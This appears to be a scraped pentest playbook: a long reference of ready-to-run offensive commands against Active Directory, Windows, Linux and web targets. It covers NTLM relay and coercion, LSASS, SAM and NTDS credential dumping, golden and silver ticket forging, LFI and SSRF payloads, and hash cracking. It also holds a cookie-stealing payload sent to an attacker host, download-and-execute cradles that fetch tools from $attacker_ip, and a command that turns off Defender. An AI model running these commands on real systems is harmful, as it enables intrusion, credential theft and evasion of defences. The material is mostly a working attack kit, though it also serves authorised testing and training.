Pentest Playbook

>316 / 316

Request ANY records from the DC

Pull broad DNS records and AD SRV entries from the domain controller

digEnum (No Cred)DNS

dig ANY $domain @$dc_ip

Expect: A/AAAA/NS/MX/TXT and related records when the server answers ANY

Enumerate common AD SRV records

Pull broad DNS records and AD SRV entries from the domain controller

nmapEnum (No Cred)DNS

nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='$domain'" $dc_ip

Expect: LDAP, Kerberos, GC, and related SRV hosts

Query RootDSE for naming contexts and dnsHostName

Read namingContexts and domain hints from RootDSE without credentials

ldapsearchEnum (No Cred)LDAP

ldapsearch -x -H ldap://$dc_ip -s base namingContexts defaultNamingContext dnsHostName

Expect: defaultNamingContext / namingContexts and often dnsHostName

Run all modules and save YAML output

If guest is enabled, retry authenticated or guest access using findings from the export

enum4linux-ngEnum (No Cred)

enum4linux-ng.py -As $ip -oY out

Expect: out*.yaml with users, shares, groups, and password policy hints

Brute SSH with a user list and wordlist

Spray user and password lists against SSH, RDP, or SMB when cred guessing is in scope

hydraEnum (No Cred)

hydra -L users.txt -P $wordlist $target ssh -t 4

Brute RDP on the default port

Spray user and password lists against SSH, RDP, or SMB when cred guessing is in scope

hydraEnum (No Cred)

hydra -L users.txt -P $wordlist rdp://$ip -s 3389

Brute SMB with a single known or guessed username

Swap -l for -L users.txt when spraying many accounts

hydraEnum (No Cred)

hydra -l $user -P pass.txt $ip smb

Try null session

Enumerate SMB without credentials

nxcEnum (No Cred)

nxc smb $target -u '.' -p '.' --shares --users

Try guest session

Enumerate SMB without credentials

nxcEnum (No Cred)

nxc smb $target -u 'guest' -p '' --shares --users

Aggressive OS and service fingerprint with output file

Deep port coverage, script inventory, and targeted vuln checks beyond a basic service scan

nmapEnum (No Cred)

nmap -A -Pn $target -oN scan.txt

Scan the top 6000 TCP ports

Deep port coverage, script inventory, and targeted vuln checks beyond a basic service scan

nmapEnum (No Cred)

nmap --top-ports 6000 $target

List installed Nmap scripts for SSH

Deep port coverage, script inventory, and targeted vuln checks beyond a basic service scan

shellEnum (No Cred)

ls -al /usr/share/nmap/scripts | grep -e "ssh"

List installed Nmap scripts for SNMP

Deep port coverage, script inventory, and targeted vuln checks beyond a basic service scan

shellEnum (No Cred)

ls -al /usr/share/nmap/scripts | grep -e "snmp"

Test HTTPS for OpenSSL Heartbleed

Deep port coverage, script inventory, and targeted vuln checks beyond a basic service scan

nmapEnum (No Cred)

nmap -p443 --script ssl-heartbleed $target

Version detection plus default scripts

First-contact port and service scan

nmapEnum (No Cred)

nmap -sVC -vv $target -o result.log

Expect: open ports, services, ssl-cert commonName

Check for ADCS web enrollment

ssl-cert commonName often reveals the DC hostname to add to /etc/hosts

nmapEnum (No Cred)

nmap -p 80,443,3299 $target

Find the callback IP the DC can reach

Use that address for coerce listeners and PetitPotam-style callbacks

shellEnum (No Cred)Setup

ip -4 a show tun0 eth0 | grep inet
export attacker_ip=$(ip -4 -o a | awk '/scope global/{print $4; exit}')

Build SMB relay target list (workstations and servers, not DC)

Choose a relay or capture path, then coerce the DC for machine NTLM auth

nxcEnum (No Cred)Check 1 — signing false, no ADCS

nxc smb $cidr -u $user -p '$pass' --gen-relay-list targets.txt

Important: Domain controllers require SMB signing; relay list excludes them

Relay coerced NTLM to signing-disabled hosts

Choose a relay or capture path, then coerce the DC for machine NTLM auth

impacketEnum (No Cred)Check 1 — signing false

ntlmrelayx.py -tf targets.txt -smb2support

Confirm certificate services and enrollment endpoints

Choose a relay or capture path, then coerce the DC for machine NTLM auth

nxcEnum (No Cred)Check 2 — ADCS present

nxc ldap $dc_ip -u $user -p '$pass' -M adcs

Relay machine auth to web enrollment for a DC certificate

Prefer this over SMB relay when ADCS exists; follow with PFX to TGT (see petitpotam POC)

impacketEnum (No Cred)Check 2 — ADCS ESC8 relay

ntlmrelayx.py --target http://$target/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

Poison name resolution and capture NTLM hashes

Omit -I to auto-select the listening interface

responderEnum (No Cred)Check 3 — no relay destination

sudo responder -I eth0 -v

Relay when targets are unknown or relay should not grant DA/ACL

Choose a relay or capture path, then coerce the DC for machine NTLM auth

impacketEnum (No Cred)Check 3 — relay without escalation

ntlmrelayx.py -tf targets.txt -smb2support --no-da --no-acl

Discover working Efsr or Printer RPC coerce methods

Choose a relay or capture path, then coerce the DC for machine NTLM auth

coercerEnum (No Cred)Coerce DC

coercer coerce --target-ip $dc_ip -d $domain -u $user -p '$pass' --filter-protocolname Efsr,Printer

Important: Coercion RPC (MS-EFSR, MS-RPRN, DFS) works over SMB even when signing is enabled

Expect: Callback at the relay listener when a method succeeds

Trigger NetExec coerce_plus against the DC

Set $attacker_ip to the reachable interface from Setup

nxcEnum (No Cred)Coerce DC

nxc smb $dc_ip -u $user -p '$pass' -M coerce_plus -o L=$attacker_ip ALWAYS=true

Expect: NTLM at the listener; relay per Check 1/2 or crack offline

Open a full-screen RDP session

Use the port from nmap if not 3389

rdesktopEnum (No Cred)

rdesktop $ip:3389 -f

Open null session interactively

List domain users over RPC with null or anonymous binding

rpcclientEnum (No Cred)

rpcclient -U "" -N $target

Enumerate domain users

List domain users over RPC with null or anonymous binding

rpcclientEnum (No Cred)

rpcclient -U '%' $ip -c 'enumdomusers'

Query display info for accounts

List domain users over RPC with null or anonymous binding

rpcclientEnum (No Cred)

rpcclient -U '%' $ip -c 'querydispinfo'

Expect: Usernames and display names usable for AS-REP or spraying lists

Check message signing on SMB

See whether SMB signing is required before planning NTLM relay

nmapEnum (No Cred)SMB

nmap -Pn -sS -T4 --open --script smb-security-mode -p445 $ip

Expect: message_signing: required / supported / disabled

Pull time directly from the target host

Align system time for Kerberos and certificate validation

rdateEnum (No Cred)

rdate -n $ip

Set local time from an NTP query against the target

Use the hostname or IP that answers NTP (ssl-date from nmap helps pick the source)

faketimeEnum (No Cred)

faketime "$(ntpdate -q $target | awk '{print $1 " " substr($2,1,8)}')"

List supported SMTP commands

Learn SMTP verbs, NTLM domain leaks, and valid users via VRFY

nmapEnum (No Cred)SMTP

nmap -p25 --script smtp-commands $ip

Leak domain via SMTP NTLM info when offered

Learn SMTP verbs, NTLM domain leaks, and valid users via VRFY

nmapEnum (No Cred)SMTP

nmap -p25 --script smtp-ntlm-info $ip

Expect: NetBIOS / DNS domain names when NTLM is enabled

VRFY usernames from a list

Learn SMTP verbs, NTLM domain leaks, and valid users via VRFY

smtp-user-enumEnum (No Cred)SMTP

smtp-user-enum -M VRFY -U users.txt -t $ip

Expect: Exists / not exists lines for each user

List all domain users with RIDs

List domain users, groups, and resolve names to SIDs over an authenticated RPC session

rpcclientEnum (Creds)

rpcclient -U "$domain/$user%$pass" $target -c "enumdomusers"

Expect: user accounts and RIDs

List domain groups and RIDs

List domain users, groups, and resolve names to SIDs over an authenticated RPC session

rpcclientEnum (Creds)

rpcclient -U "$domain/$user%$pass" $target -c "enumdomgroups"

Expect: group names and RIDs

Resolve a name to SID (interactive shell)

Run lookupnames inside the rpcclient shell for each account of interest

rpcclientEnum (Creds)

rpcclient -U "$domain/$user%$pass" $target
lookupnames administrator

Expect: SID for the given name

Show details for a SID (interactive shell)

Replace the SID with output from lookupnames or enumdomusers

rpcclientEnum (Creds)

rpcclient -U "$domain/$user%$pass" $target
lookupsids S-1-5-21-...

List shares on a host

Discover readable SMB shares once you have domain credentials

smbclientEnum (Creds)

smbclient -U "$user@$domain" -L //$target/

Expect: share names (e.g. IT, SYSVOL, IPC$)

Confirm AD CS is present and learn the CA name

Find vulnerable certificate templates and map the AD CS attack surface

nxcEnum (Creds)

nxc ldap $dc_ip -u $user -p $pass -M adcs

Expect: CA CN name for later certipy -ca flags

List templates vulnerable for the current user

Find vulnerable certificate templates and map the AD CS attack surface

certipyEnum (Creds)

certipy find -dc-ip $dc_ip -u $user -p $pass -vulnerable -stdout

Expect: ESC-style misconfigurations and enrollable templates

Full template inventory (JSON) for non-default abuse paths

Focus on non-default templates; full ESC UPN chains live under ad-edges (esc-upn-ca)

certipyEnum (Creds)

certipy find -dc-ip $dc_ip -u $user -p $pass -stdout

Auth with PFX and drop into LDAP shell

Authenticate with a PFX over Schannel and open an LDAP shell

certipyEnum (Creds)ADCS

certipy auth -pfx $pfx_file -dc-ip $dc_ip -ldap-shell

Expect: Interactive LDAP shell (#) after successful PKINIT/Schannel auth

Crack a ZIP archive password

Extract and crack common offline archive and key formats

johnEnum (Creds)Password cracking

zip2john file.zip > zip.john && john zip.john --wordlist=$wordlist

Crack a 7z archive password

Extract and crack common offline archive and key formats

johnEnum (Creds)Password cracking

7z2john.pl file.7z > 7z.john && john 7z.john --wordlist=$wordlist

Crack a KeePass database

Extract and crack common offline archive and key formats

johnEnum (Creds)Password cracking

keepass2john file.kdbx > kp.john && john kp.john --wordlist=$wordlist

Crack an encrypted SSH private key

Extract and crack common offline archive and key formats

johnEnum (Creds)Password cracking

ssh2john.py id_rsa > ssh.john && john ssh.john --wordlist=$wordlist

See if the account is local admin on the host

Confirm local or domain admin, dump secrets, and get an interactive shell

nxcEnum (Creds)Privilege check

nxc smb $target -u $user -p $pass --local-auth

Expect: Pwn3d when local admin; Pwn3d on the DC implies domain admin

Find domain groups that include your user

Look for Domain Admins or other high-value group membership

nxcEnum (Creds)Privilege check

nxc ldap $dc_ip -u $user -p $pass --groups

Dump local SAM database

Confirm local or domain admin, dump secrets, and get an interactive shell

nxcEnum (Creds)Credential dumplocal admin

nxc smb $target -u $user -p $pass --sam

Dump LSA secrets (often with SAM)

Confirm local or domain admin, dump secrets, and get an interactive shell

nxcEnum (Creds)Credential dumplocal admin

nxc smb $target -u $user -p $pass --lsa --sam

DCSync-style NTDS dump from the DC

Confirm local or domain admin, dump secrets, and get an interactive shell

nxcEnum (Creds)Credential dumpdomain admin

nxc smb $dc_ip -u $user -p $pass --ntds

Expect: NTLM hashes for domain accounts

Semi-interactive shell via SMB (PsExec-style)

Confirm local or domain admin, dump secrets, and get an interactive shell

impacketEnum (Creds)Remote shelllocal admin

impacket-psexec '$domain/$user:$pass@$target'

Half-interactive WMI shell (port 135)

Executes commands in-process via WMI; useful when PsExec is blocked

impacketEnum (Creds)Remote shell

impacket-wmiexec -hashes :$hash '$domain/$user@$target'

Enumerate gMSA accounts and dump readable passwords

Read gMSA managed passwords when LDAP Kerberos auth works

nxcEnum (Creds)

nxc ldap $dc_ip -u $user -p $pass --gmsa

Expect: gMSA accounts (names ending in $) and hex/blob password material when permitted

Crack Kerberoast TGS (mode 13100)

Crack common AD hash formats with the right hashcat mode

hashcatEnum (Creds)Password cracking

hashcat -m 13100 -a 0 hashes $wordlist

Crack NTLM (mode 1000)

Crack common AD hash formats with the right hashcat mode

hashcatEnum (Creds)Password cracking

hashcat -m 1000 -a 0 hashes $wordlist

Crack NetNTLMv2 (mode 5600)

Crack common AD hash formats with the right hashcat mode

hashcatEnum (Creds)Password cracking

hashcat -m 5600 -a 0 hashes $wordlist

Crack AS-REP roast (mode 18200)

Crack common AD hash formats with the right hashcat mode

hashcatEnum (Creds)Password cracking

hashcat -m 18200 -a 0 asrep.hashes $wordlist

Apply rules to stretch a short keyword list

Crack common AD hash formats with the right hashcat mode

hashcatEnum (Creds)Password cracking

hashcat -a 0 -m 1000 hashes $wordlist -r /usr/share/doc/hashcat/rules/best64.rule

Recurse SYSVOL policies for cpassword

Decrypt with gpp-decrypt / Get-GPPPassword once you have the ciphertext

findstrEnum (Creds)Credential dump

findstr /S /I cpassword \\$domain\sysvol\$domain\policies\*.xml

Expect: Path to XML containing cpassword=...

Write a local LSASS minidump

Dump LSASS locally or remotely and extract logon secrets

procdumpEnum (Creds)Credential dumplocal admin

procdump.exe -accepteula -ma lsass.exe C:\Users\Public\lsass.dmp

Expect: lsass.dmp written under Public

Parse the minidump for credentials

Dump LSASS locally or remotely and extract logon secrets

mimikatzEnum (Creds)Credential dumplocal admin

mimikatz.exe "privilege::debug" "sekurlsa::minidump C:\Users\Public\lsass.dmp" "sekurlsa::logonPasswords" "exit"

Expect: NTLM hashes and cleartext passwords when present

Remote LSASS dump via lsassy without dropping mimikatz

Dump LSASS locally or remotely and extract logon secrets

nxcEnum (Creds)Credential dumplocal admin

nxc smb $target -u $user -p $pass -M lsassy

Enumerate RIDs over 1000

Authenticated SMB sweeps once you have a valid account

nxcEnum (Creds)

nxc smb $target -u $user -p $pass --rid-brute

Expect: domain user list

Check if the account is local admin

Pwn3d means local admin; Pwn3d against the DC means domain admin

nxcEnum (Creds)

nxc smb $target -u $user -p $pass --local-auth

Dump SAM

Authenticated SMB sweeps once you have a valid account

nxcEnum (Creds)local admin

nxc smb $target -u $user -p $pass --sam

Dump LSA secrets

Authenticated SMB sweeps once you have a valid account

nxcEnum (Creds)local admin

nxc smb $target -u $user -p $pass --lsa

Dump NTDS

Authenticated SMB sweeps once you have a valid account

nxcEnum (Creds)domain admin

nxc smb $dc_ip -u $user -p $pass --ntds

Expect: full domain hash dump

Read the LAPS password attribute on a computer

Find which hosts expose LAPS and read ms-mcs-AdmPwd when allowed

PowerViewEnum (Creds)LAPS

Get-DomainObject $target -Properties 'ms-mcs-AdmPwd',name

Expect: ms-mcs-AdmPwd plaintext when you have rights

Map who can read LAPS and which computers have it

Find which hosts expose LAPS and read ms-mcs-AdmPwd when allowed

LAPSToolkitEnum (Creds)LAPS

Find-LAPSDelegatedGroups; Get-LAPSComputers

Expect: Delegated groups and computers with AdmPwd set

Listen for beacon requests

Run on $attacker_ip before triggering the payload

netcatWebCSRF

nc -lnvp 8000

Image beacon to prove server or browser reaches you

Insert via vulnerable form or reflected field; any GET on the listener confirms outbound reach

htmlWebCSRF

<img src="http://$attacker_ip:8000/anything.png" />

Expect: Connection or HTTP request logged on nc

Steal admin cookies via attacker-controlled HTML

Confirm outbound CSRF and test exfiltration of privileged cookies

htmlWebCSRF

Return full HTML that reads document.cookie and sends it to http://$attacker_ip:8000/
Use btoa/atob encoding if filters block plain cookie strings

Important: Works when the app renders your HTML in a session that holds sensitive cookies

Run all built-in JWT tests against the endpoint

Run jwt_tool attack suite against an API and brute weak HMAC secrets

jwt_toolWebJWT

python3 jwt_tool.py -M at -t "$url" \
  -rh "Authorization: Bearer $jwt" -rh "Cookie: $cookies"

Expect: Pass/fail for common JWT misconfigurations

Brute-force a weak signing key

Run jwt_tool attack suite against an API and brute weak HMAC secrets

jwt_toolWebJWT

python3 jwt_tool.py -d $wordlist $jwt

Expect: Cracked secret when the key is in the wordlist

Read web process environment variables

/proc is the kernel process view; self is the current web worker

curlWebLFI

curl "http://$target/download.php?f=../../../proc/self/environ"

Read package.json from the app working directory

Read environ, app metadata, and system files through LFI

curlWebLFI

curl "http://$target/download.php?f=../../../proc/self/cwd/package.json"

Read another worker cwd when self differs

Replace PID with a process ID from errors, /proc listing, or ss/ps output

curlWebLFI

curl "http://$target/download.php?f=../proc/PID/cwd/.env"

PHP dot-segment traversal to /etc/passwd

Some PHP normalizers collapse ....// to ../

curlWebLFI

curl "http://$target/download.php?f=....//....//....//....//etc/passwd"

Scan cleartext HTTP on a non-default port

Run Nikto against HTTP or HTTPS on a chosen port

niktoWeb

nikto -h http://$target -p 8080

Scan HTTPS

Omit -p when the service listens on 443

niktoWeb

nikto -h http://$target -ssl

Run PHP rule pack against dumped code

Run from the dumped site root; Snyk is an alternate if OpenGrep is unavailable

opengrepWeb

opengrep scan -f /opt/semgrep-rules/php .

Expect: Rule findings including SQLi and dangerous sinks

Fuzz path segments on the site root

SecLists: /usr/share/seclists/Discovery/Web-Content/ common.txt, raft-medium-directories.txt, raft-medium-files.txt, big.txt /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

ffufWebDirectory brute force

ffuf -c -u http://$target/FUZZ -w $wordlist -t 50

Discover hostnames under the apex domain

Discover hidden paths, subdomains, and vhosts with ffuf-first tooling

ffufWebSubdomain fuzz

ffuf -u http://FUZZ.$domain -c -w $wordlist -fs 0

Fuzz Host header values against the site by name

Discover hidden paths, subdomains, and vhosts with ffuf-first tooling

ffufWebVirtual host fuzz (domain)

ffuf -u http://$domain -c -w $wordlist -H 'Host: FUZZ.$domain' -fs 0

Fuzz Host header against the IP when vhosts are not tied to DNS

Discover hidden paths, subdomains, and vhosts with ffuf-first tooling

ffufWebVirtual host fuzz (IP)

ffuf -u http://$ip -H 'Host: FUZZ.$domain' -w $wordlist -fs 0

Recurse into discovered directories

Discover hidden paths, subdomains, and vhosts with ffuf-first tooling

ffufWebRecursive fuzzing

ffuf -c -u http://$target/FUZZ -w $wordlist -recursion

Directory fuzz for interesting paths

Recon the surface, abuse LFI/SSRF, then stabilize a web shell

ffufWebWeb Recon

ffuf -u http://$target/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200

Scan for known vulnerabilities

-headless runs without a browser (no JS)

nucleiWebWeb Recon

nuclei -target $target -fr -headless

Dump exposed .git directory

Recon the surface, abuse LFI/SSRF, then stabilize a web shell

git-dumperWebWeb Recon

git-dumper http://$target/.git ~/website

Expect: source and commit history for credential hunting

LFI via /proc/self/cwd

/proc/self is the current web process; cwd is its working directory

curlWebWeb Enum

curl "http://$target/download.php?f=../../../proc/self/cwd/.env"

SSRF to read local files

Recon the surface, abuse LFI/SSRF, then stabilize a web shell

curlWebWeb Enum

curl "http://$target/fetch?url=file:///etc/passwd"

Inspect root processes after shell

Look for files you can modify for a reverse shell as root

bashWebWeb Foothold

ps -ef --forest

List listening ports

Recon the surface, abuse LFI/SSRF, then stabilize a web shell

bashWebWeb Foothold

ss -tunlp | grep -i '127.0.0.1'

Forward an internal port over SSH

From attacker machine open http://127.0.0.1:8888

sshWebWeb Foothold

ssh -L 8888:127.0.0.1:8888 $user@$ip

Highlight root-owned processes

Combine with ps -ef --forest (web-pentest-poc) to spot writable scripts run as root

bashWebWeb Foothold

ps -ef | grep root

Inventory file types under the current tree

Find privesc paths, credentials, and internal services after a web shell

bashWebWeb Foothold

find . -type f -exec file {} \; > /dev/shm/files.lst

Expect: files.lst listing binaries, scripts, and config candidates

List listening TCP ports and owning processes

Find privesc paths, credentials, and internal services after a web shell

ssWebWeb Foothold

ss -lntp

Probe an internal HTTP service on loopback

Adjust port; use SSH -L from web-pentest-poc to reach loopback-only services from $attacker_ip

curlWebWeb Foothold

curl -I 127.0.0.1:8888

Enumerate users, all plugins, and all themes

Enumerate WordPress users, plugins, and themes for follow-on vulns

wpscanWebCMS

wpscan --url $url --enumerate u,ap,at --disable-tls-checks

Expect: User list and plugin/theme versions

Collect BloodHound-compatible data for the domain

Run from attack box; import the output JSON into BloodHound to map WriteOwner, GenericAll, and CA paths

rusthound-ceAD Edges

rusthound-ce --domain $domain -u $user -p $pass -z

Read ms-DS-MachineAccountQuota on the domain NC

Replace the base DN with your domain naming context (e.g. DC=fluffy,DC=htb)

impacketAD EdgesRBCD

ldapsearch.py $domain/$user:'$pass' -dc-ip $dc_ip \
  -base-dn "DC=corp,DC=local" -filter '(objectClass=domain)' \
  -attributes ms-DS-MachineAccountQuota

Expect: Quota value; default is often 10; 0 means you cannot add a computer without another path

Shadow Credentials (user or computer)

Full control over the object; run whichever abuse fits your target

certipyAD EdgesGenericAll

certipy shadow auto -target $domain -dc-ip $dc_ip -username $user@$domain -password $pass -account MANAGEMENT_SVC$

Expect: writes msDS-KeyCredentialLink, dumps the NT hash, auto-cleans

Reset the target account password

Then getTGT with the new password

rpcclientAD EdgesGenericAll

rpcclient -U '$domain/$user%$pass' $dc_ip -c 'setuserinfo2 MANAGEMENT_SVC$ 23 "Pwned123!"'

Add yourself directly (GenericAll on a group)

GenericAll includes WriteMembers, so no dacledit needed

netAD EdgesGenericAll

net rpc group addmem Management $user -U $domain/$user%$pass -S $dc_ip

Targeted Kerberoast (users only)

Full control over the object; run whichever abuse fits your target

targetedKerberoastAD EdgesGenericAll

python3 targetedKerberoast.py -d $domain -u $user -p $pass --dc-ip $dc_ip --victim-user ca_operator

Expect: TGS hash to crack with mode 13100

Forge a golden ticket for administrator

Export KRB5CCNAME=./administrator.ccache before using the ticket

ticketerAD EdgesTicketsdomain admin

ticketer.py -nthash $krbtgt_hash -domain-sid $domain_sid \
  -domain $domain administrator

Expect: administrator.ccache (or similar) written

Forge a silver ticket for a service SPN

Forge a golden TGT or silver TGS once you have krbtgt or a service account hash

ticketerAD EdgesTickets

ticketer.py -nthash $service_hash -domain-sid $domain_sid \
  -domain $domain -spn cifs/$target $user

Expect: Silver TGS ccache for the SPN

See current shell and which upgrade tools exist

Confirm what shell you have, then spawn a full interactive TTY

bashLinux AccessIdentify shell

echo $0
ps -p $$
command -v bash python3 perl script socat

Compare login shell vs what you are running now

$SHELL is the default from passwd; $0 and ps -p $$ show the actual session

bashLinux AccessIdentify shell

echo $SHELL
cat /etc/passwd | grep $USER
ls /bin/*sh /usr/bin/*sh 2>/dev/null

Spawn bash with a pseudo-TTY

After spawn, press Ctrl+Z on your listener, then locally: stty raw -echo; fg export TERM=xterm

python3Linux AccessUpgrade PTY

python3 -c 'import pty; pty.spawn("/bin/bash")'

Identity, hostname, kernel, and OS release

Baseline identity, network, sudo rights, and stego on a new foothold

bashLinux AccessHost baseline

id && hostname && uname -a && cat /etc/os-release

Interfaces and routing

Baseline identity, network, sudo rights, and stego on a new foothold

ipLinux AccessHost baseline

ip a
ip route

Test passwordless sudo and list allowed commands

sudo -n true exits 0 when NOPASSWD applies; compare with sudo -l output

sudoLinux AccessPrivilege hints

sudo -n true 2>&1
sudo -l
sudo -n -l 2>&1

Review recent commands for creds or paths

Baseline identity, network, sudo rights, and stego on a new foothold

bashLinux AccessPrivilege hints

history

Pull hidden data from an image

Inspect the output file stegseek writes

stegseekLinux AccessSteganography

stegseek img.png

Fix a raw or wrong-sized shell

Read the real rows and columns from stty -a, then set them

sttyLinux Access

stty -a
stty rows 30 cols 121

List users that have a login shell

First moves on a fresh Linux shell, pick what the box needs

bashLinux Access

grep 'sh$' /etc/passwd

See your own groups

First moves on a fresh Linux shell, pick what the box needs

bashLinux Access

groups

Reuse a private SSH key found on the box

Copy the key value from the BEGIN line through the END line

sshLinux Access

echo "$key_contents" > id_found
chmod 600 id_found
ssh -i id_found root@$ip

Dump a found SQLite database

First moves on a fresh Linux shell, pick what the box needs

sqlite3Linux Access

sqlite3 file.db .dump

Expect: table contents, often credentials

Push a local file to the host

Move tools and loot over SSH with scp

scpLinux AccessFile transfer

scp ./tool $user@$ip:/tmp/tool

Pull a remote file to the attack host

Move tools and loot over SSH with scp

scpLinux AccessFile transfer

scp $user@$ip:/tmp/loot ./loot

System crontab and drop-in directories

Find scheduled jobs or service units you can abuse for privesc

bashLinux PrivEscCron

cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/

Current user crontab entries

Find scheduled jobs or service units you can abuse for privesc

crontabLinux PrivEscCron

crontab -l

Active systemd timers

Find scheduled jobs or service units you can abuse for privesc

systemctlLinux PrivEscTimers and services

systemctl list-timers

Writable unit files under systemd

Writable .service files may let you replace ExecStart for root execution

bashLinux PrivEscTimers and services

ls -la /etc/systemd/system/

Quick banner and release strings

Surface writable configs, histories, backups, keys, and env secrets

bashLinux PrivEscBanner and OS

cat /etc/issue
cat /etc/os-release

World-writable or user-writable config files

Surface writable configs, histories, backups, keys, and env secrets

findLinux PrivEscWritable configs

find / -name "*.conf" -writable 2>/dev/null

Command history for passwords and paths

Surface writable configs, histories, backups, keys, and env secrets

bashLinux PrivEscShell history

cat ~/.bash_history /home/*/.bash_history

Backups, opt payloads, tmp artifacts, mail spool

Surface writable configs, histories, backups, keys, and env secrets

bashLinux PrivEscInteresting directories

ls -la /var/backups/ /opt/ /tmp/ /var/mail/

SSH keys, KeePass, and backup files

Surface writable configs, histories, backups, keys, and env secrets

findLinux PrivEscKeys and backups

find / -name "id_rsa" -o -name "*.kdbx" -o -name "*.bak" 2>/dev/null | grep -v proc

Password strings in conf and PHP under common roots

Surface writable configs, histories, backups, keys, and env secrets

grepLinux PrivEscConfig grep

grep -ri "pass" /etc/ /opt/ /home/ --include="*.conf" --include="*.php" 2>/dev/null

DB passwords and API keys in process environment

Surface writable configs, histories, backups, keys, and env secrets

bashLinux PrivEscEnvironment

env

Find files owned by your group

Look for files you can modify for a reverse shell or that hold creds

bashLinux PrivEsc

find / -group $group_name 2>/dev/null

Find writable tmpfs mounts

Find group-writable files, stage payloads in memory, hunt root processes

bashLinux PrivEsc

df -h | grep tmpfs

Triage /dev/shm

Find group-writable files, stage payloads in memory, hunt root processes

bashLinux PrivEsc

find /dev/shm -type f 2>/dev/null

Stage and run linpeas in memory

/dev/shm is shared memory, so the payload never touches disk

bashLinux PrivEsc

cp /tmp/linpeas.sh /dev/shm/ && cd /dev/shm && bash linpeas.sh

Inspect processes running as root

Find group-writable files, stage payloads in memory, hunt root processes

bashLinux PrivEsc

ps -ef --forest | less -S

Download a payload to Public

Full path is often C:\Program Files\Windows Defender\MpCmdRun.exe

mpcmdrunWin AccessFile transfer

mpcmdrun.exe -DownloadFile -url http://$attacker_ip/tool.exe \
  -path C:\Users\Public\tool.exe

Expect: tool.exe written under Public

Interactive shell with password

Get an interactive PowerShell session over WinRM with password or hash

evil-winrmWin AccessWinRM

evil-winrm -i $ip -u $user -p '$pass'

Expect: Evil-WinRM prompt

Interactive shell with NTLM hash (PtH)

Get an interactive PowerShell session over WinRM with password or hash

evil-winrmWin AccessWinRM

evil-winrm -i $ip -u $user -H $hash

Expect: Evil-WinRM prompt

Test whether WinRM answers from a Windows host

Get an interactive PowerShell session over WinRM with password or hash

powershellWin AccessWinRM

Test-WSMan -ComputerName $target

Expect: wsmid ProductVersion when WinRM is up

Download and execute a remote script in memory

Prefer download-to-disk when AMSI/AppLocker policy requires a different staging path

powershellWin AccessFile transfer

(New-Object Net.WebClient).DownloadString('http://$attacker_ip/script.ps1') | IEX

Confirm common writable staging directories exist

Prefer Public, Tasks, Temp, and ProgramData over user profile paths when dropping binaries

cmdWin AccessStaging paths

dir C:\Users\Public
dir C:\Windows\Tasks
dir C:\Windows\Temp
dir C:\ProgramData

Copy GodPotato from attacker to Public

Run inside an evil-winrm session; path on the left is local to your attack box

evil-winrmWin AccessWinRM upload

upload /opt/GodPotato.exe C:\Users\Public\GodPotato.exe

Copy netcat for connectivity tests

Stage tools and scripts on disk using WinRM upload, certutil, or in-memory cradles

evil-winrmWin AccessWinRM upload

upload /opt/nc.exe C:\Users\Public\nc.exe

Pull a binary over HTTP into Public

Stage tools and scripts on disk using WinRM upload, certutil, or in-memory cradles

certutilWin AccessHTTP download

certutil -urlcache -f http://$attacker_ip/winPEAS.exe C:\Users\Public\winPEAS.exe

Load PowerUp and run all checks without touching disk

Stage tools and scripts on disk using WinRM upload, certutil, or in-memory cradles

powershellWin AccessIn-memory cradles

wget -useb http://$attacker_ip/PowerUp.ps1|iex; invoke-AllChecks

Current user SID and account name

Map identity, network, and OS context on a fresh Windows shell before privesc

cmdWin AccessIdentity

whoami /user

Token privileges (feeds potato-style privesc later)

SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege matter for privesc; abuse steps live in privesc-windows notes

cmdWin AccessIdentity

whoami /priv

Group memberships including admin and domain groups

Map identity, network, and OS context on a fresh Windows shell before privesc

cmdWin AccessIdentity

whoami /groups

Hostname sanity check

Map identity, network, and OS context on a fresh Windows shell before privesc

cmdWin AccessIdentity

hostname

Full system profile snapshot

Map identity, network, and OS context on a fresh Windows shell before privesc

cmdWin AccessIdentity

systeminfo

Quick OS name and version lines

Map identity, network, and OS context on a fresh Windows shell before privesc

cmdWin AccessIdentity

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

Interfaces, DNS, and domain membership hints

Map identity, network, and OS context on a fresh Windows shell before privesc

cmdWin AccessNetwork

ipconfig /all

Extra routes and pivot candidate subnets

Map identity, network, and OS context on a fresh Windows shell before privesc

cmdWin AccessNetwork

route print

Local accounts on the box

Map identity, network, and OS context on a fresh Windows shell before privesc

cmdWin AccessNetwork

net user

Confirm domain join and list domain users when allowed

Map identity, network, and OS context on a fresh Windows shell before privesc

cmdWin AccessNetwork

net user /domain 2>nul

Expect: Domain user listing when domain-joined; error when standalone

Listening ports and established connections

Map identity, network, and OS context on a fresh Windows shell before privesc

cmdWin AccessNetwork

netstat -ano

ARP neighbors on local segments

Map identity, network, and OS context on a fresh Windows shell before privesc

cmdWin AccessNetwork

arp -a

Logged-on sessions and RDP users

Map identity, network, and OS context on a fresh Windows shell before privesc

cmdWin AccessNetwork

qwinsta

Running processes and services (spot MsMpEng for Defender)

Map identity, network, and OS context on a fresh Windows shell before privesc

cmdWin AccessNetwork

tasklist /svc

.NET Framework release number for exploit/tool compatibility

Map identity, network, and OS context on a fresh Windows shell before privesc

cmdWin AccessOS build

reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v Release

OS name, version, and architecture in one pass

Map identity, network, and OS context on a fresh Windows shell before privesc

cmdWin AccessOS build

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

Windows build string from cmd

Map identity, network, and OS context on a fresh Windows shell before privesc

cmdWin AccessOS build

cmd /c ver

Disable Defender real-time monitoring when you are admin

Credential hunting, SAM dumps, service abuse, and potato chains belong in privesc-windows playbooks

powershellWin AccessDefenderBUILTIN\Administrators or equivalent local admin

Set-MpPreference -DisableRealtimeMonitoring $true

WinRM shell with password

Land a shell on Windows with the credentials or hash you already have

evil-winrmWin Access

evil-winrm -i $ip -u $user -p '$pass'

WinRM shell with NT hash

Land a shell on Windows with the credentials or hash you already have

evil-winrmWin Access

evil-winrm -i $ip -u $user -H $hash

Half-interactive shell via WMI

Needs port 135; executes cmd in-process via WMI

impacketWin Access

impacket-wmiexec -hashes :$hash Administrator@$ip

Open Remote Desktop

Land a shell on Windows with the credentials or hash you already have

rdesktopWin Access

